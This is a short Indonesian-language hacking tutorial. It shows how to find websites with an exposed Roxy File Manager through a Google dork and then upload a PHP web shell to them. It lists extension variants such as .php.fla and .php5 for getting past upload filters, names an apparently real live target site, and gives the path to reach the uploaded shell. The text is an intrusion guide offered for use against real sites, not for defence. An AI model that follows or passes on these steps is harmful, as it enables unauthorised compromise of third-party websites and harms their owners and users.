dork:
                                                       intitle:"Roxy File Manager"
                                                                inurl:fileman/uploads/

                                                                             *kembangkan
               exstensi shell : .php56 .php.fla, .php.xxx , .php5 .php6, .php.xxxjpg , .php.orion , .php.h3ll dll
               pertama klean dorking di google :) trus cari target klean
  nah abis itu exploit dengan
                              site.com/path/fileman/index.html <- kurang lebih seperti itu :'v
          Live Target ainx : http://canhogiaresaigon.com.vn/quanly/fileman/index.html

abis itu upload shell kalean

 Foto saat upload shell

nah klo kek gitu bisa gan sekarang tinggal akses deh

akses ? site.com/path/filemanager/Uploads/shell.php.fla